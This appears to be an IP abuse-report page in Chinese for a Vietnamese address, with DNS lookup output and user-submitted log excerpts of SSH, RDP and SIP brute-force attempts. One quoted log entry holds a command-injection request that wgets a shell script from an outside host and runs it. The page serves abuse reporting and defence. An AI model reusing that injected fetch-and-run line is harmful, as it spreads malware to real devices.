14.169.159.118

基本信息:

城市(city): unknown

省份(region): unknown

国家(country): Viet Nam

运营商(isp): Vietnam Posts and Telecommunications Group

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:

点此参与IP信息讨论

类型	评论内容	时间
attackbots	scan z	2019-07-24 15:09:08

相同子网IP讨论:

IP	类型	评论内容	时间
14.169.159.148	attack	23/tcp [2020-08-11]1pkt	2020-08-12 08:46:34
14.169.159.148	attackbotsspam	Automatic report - Port Scan Attack	2020-08-07 18:11:36
14.169.159.225	attackspam	Attempt to attack host OS, exploiting network vulnerabilities, on 25-12-2019 06:20:09.	2019-12-25 21:05:13
14.169.159.127	attackbots	SpamReport	2019-12-03 04:23:23
14.169.159.131	attackbotsspam	Autoban 14.169.159.131 ABORTED AUTH	2019-11-18 21:46:13
14.169.159.97	attack	Jul 10 22:04:16 srv-4 sshd\[13070\]: Invalid user admin from 14.169.159.97 Jul 10 22:04:16 srv-4 sshd\[13070\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.169.159.97 Jul 10 22:04:19 srv-4 sshd\[13070\]: Failed password for invalid user admin from 14.169.159.97 port 44234 ssh2 ...	2019-07-11 07:16:02

WHOIS信息:

DIG信息:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 14.169.159.118
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 10225
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;14.169.159.118.			IN	A

;; AUTHORITY SECTION:
.			3600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019072400 1800 900 604800 86400

;; Query time: 85 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Wed Jul 24 15:08:57 CST 2019
;; MSG SIZE  rcvd: 118

HOST信息:

118.159.169.14.in-addr.arpa domain name pointer static.vnpt.vn.

NSLOOKUP信息:

Server:		67.207.67.2
Address:	67.207.67.2#53

Non-authoritative answer:
118.159.169.14.in-addr.arpa	name = static.vnpt.vn.

Authoritative answers can be found from:

最新评论:

IP	类型	评论内容	时间
185.242.249.92	attackspambots	Automatic report - Banned IP Access	2019-07-18 07:41:30
106.75.106.221	attack	Automatic report - Banned IP Access	2019-07-18 07:26:49
100.43.90.102	attack	port scan and connect, tcp 443 (https)	2019-07-18 07:30:15
58.219.245.170	attackbots	20 attempts against mh-ssh on pluto.magehost.pro	2019-07-18 07:30:42
185.58.53.66	attackspam	Jul 17 23:43:30 pornomens sshd\[16051\]: Invalid user etc_mail from 185.58.53.66 port 52600 Jul 17 23:43:30 pornomens sshd\[16051\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.58.53.66 Jul 17 23:43:31 pornomens sshd\[16051\]: Failed password for invalid user etc_mail from 185.58.53.66 port 52600 ssh2 ...	2019-07-18 07:09:26
104.255.101.21	attackspambots	Spam	2019-07-18 07:15:56
167.71.10.24	attackbotsspam	17.07.2019 23:52:59 - RDP Login Fail Detected by https://www.elinox.de/RDP-Wächter	2019-07-18 07:22:36
165.227.96.190	attackbotsspam	Jul 18 00:39:29 ubuntu-2gb-nbg1-dc3-1 sshd[17036]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.227.96.190 Jul 18 00:39:31 ubuntu-2gb-nbg1-dc3-1 sshd[17036]: Failed password for invalid user ubuntu from 165.227.96.190 port 47564 ssh2 ...	2019-07-18 07:09:49
188.166.165.52	attackbotsspam	2019-07-17T23:16:38.513003abusebot-5.cloudsearch.cf sshd\[4021\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=188.166.165.52 user=root	2019-07-18 07:18:54
106.12.45.23	attack	106.12.45.23 - - [17/Jul/2019:18:24:52 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.248.93.159/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 166 "-" "Hakai/2.0" ...	2019-07-18 07:08:31
207.6.1.11	attack	Jul 18 01:04:09 v22019058497090703 sshd[23410]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=207.6.1.11 Jul 18 01:04:12 v22019058497090703 sshd[23410]: Failed password for invalid user front from 207.6.1.11 port 50330 ssh2 Jul 18 01:08:54 v22019058497090703 sshd[23708]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=207.6.1.11 ...	2019-07-18 07:29:11
153.36.240.126	attack	Jul 18 01:03:12 * sshd[31714]: Failed password for root from 153.36.240.126 port 49874 ssh2	2019-07-18 07:12:51
158.69.242.197	attackspam	\[2019-07-17 19:03:45\] NOTICE\[20804\] chan_sip.c: Registration from '"87656"\' failed for '158.69.242.197:19642' - Wrong password \[2019-07-17 19:03:45\] SECURITY\[20812\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-17T19:03:45.718-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="87656",SessionID="0x7f06f878a398",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/158.69.242.197/19642",Challenge="3a745756",ReceivedChallenge="3a745756",ReceivedHash="e0489af5ba48e7b8b8413d50e810ac5a" \[2019-07-17 19:05:13\] NOTICE\[20804\] chan_sip.c: Registration from '"87655"\' failed for '158.69.242.197:23666' - Wrong password \[2019-07-17 19:05:13\] SECURITY\[20812\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-07-17T19:05:13.968-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="87655",SessionID="0x7f06f811a3c8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/	2019-07-18 07:12:17
213.224.20.234	attack	Jul 14 21:55:30 vpxxxxxxx22308 sshd[16214]: Invalid user misp from 213.224.20.234 Jul 14 21:55:32 vpxxxxxxx22308 sshd[16214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.224.20.234 Jul 14 21:55:34 vpxxxxxxx22308 sshd[16214]: Failed password for invalid user misp from 213.224.20.234 port 49392 ssh2 Jul 14 21:56:59 vpxxxxxxx22308 sshd[16435]: Invalid user osbash from 213.224.20.234 Jul 14 21:57:02 vpxxxxxxx22308 sshd[16435]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=213.224.20.234 Jul 14 21:57:04 vpxxxxxxx22308 sshd[16435]: Failed password for invalid user osbash from 213.224.20.234 port 1041 ssh2 ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=213.224.20.234	2019-07-18 07:05:12
79.10.246.8	attackspam	Scanning random ports - tries to find possible vulnerable services	2019-07-18 07:14:28

最近上报的IP列表

203.189.135.62	188.150.184.178	218.153.159.206	216.218.134.12
212.45.1.194	155.23.200.254	200.150.122.194	188.19.19.162
165.22.167.39	129.213.113.117	118.128.86.101	113.190.25.247
103.3.221.84	59.13.139.50	13.44.45.94	51.77.195.149
76.23.25.132	148.230.81.157	234.103.46.155	111.41.113.225